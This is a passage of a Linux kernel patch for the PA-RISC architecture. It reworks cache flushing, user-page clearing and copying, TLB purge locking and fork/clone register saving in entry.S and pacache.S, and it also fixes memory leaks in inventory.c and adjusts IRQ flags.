diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index dcd5510..5df1597 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -141,6 +141,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -230,6 +231,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 9d18189..795d392 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -267,9 +267,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
@@ -315,7 +317,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -330,17 +332,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -374,20 +365,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -400,11 +380,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -420,6 +415,25 @@ void kunmap_parisc(void *addr)
 EXPORT_SYMBOL(kunmap_parisc);
 #endif
 
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags, sid;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	/* Disable preemption while we play with %sr1.  */
+	preempt_disable();
+	sid = mfsp(1);
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+	mtsp(sid,1);
+	preempt_enable();
+}
+
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -459,8 +473,65 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if the mm isn't too big.
+	   Note: This approach is faster than a range flush when the
+	   context is current, and it works even when non current.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+
+		if (mm->context == mfsp(3)) {
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				flush_user_dcache_range_asm(vma->vm_start, vma->vm_end);
+				if(vma->vm_flags & VM_EXEC)
+					flush_user_icache_range_asm(vma->vm_start, vma->vm_end);
+			}
+		} else {
+			pgd_t *pgd = mm->pgd;
+
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				unsigned long addr;
+
+				for (addr = vma->vm_start; addr < vma->vm_end; addr += PAGE_SIZE) {
+					pte_t *ptep = get_ptep(pgd, addr);
+					if (ptep != NULL) {
+						pte_t pte = *ptep;
+						__flush_cache_page(vma, addr, page_to_phys(pte_page(pte)));
+					}
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -486,20 +557,34 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start,end);
+			if(vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start,end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					flush_cache_page(vma, addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
@@ -512,3 +597,67 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 18670a0..fcef82d 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
@@ -1785,9 +1785,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1817,7 +1817,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1836,8 +1836,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1860,7 +1861,7 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index 08324aa..3295ef4 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -186,12 +186,14 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 
 	if (status != PDC_OK) {
 		/* no more cell modules or error */
+		kfree(pa_pdc_cell);
 		return status;
 	}
 
 	temp = pa_pdc_cell->cba;
 	dev = alloc_pa_dev(PAT_GET_CBA(temp), &(pa_pdc_cell->mod_path));
 	if (!dev) {
+		kfree(pa_pdc_cell);
 		return PDC_OK;
 	}
 
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..8094d3e 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 5d7218a..ed401dd 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr4, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr4, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%arg0)
+	fdce,m		%arg1(%arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +432,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +473,16 @@ ENTRY(copy_user_page_asm)
 
 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +538,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +561,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +572,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +580,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +609,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
-	ldi		64, %r1
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +689,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +722,10 @@ ENTRY(copy_user_page_asm)
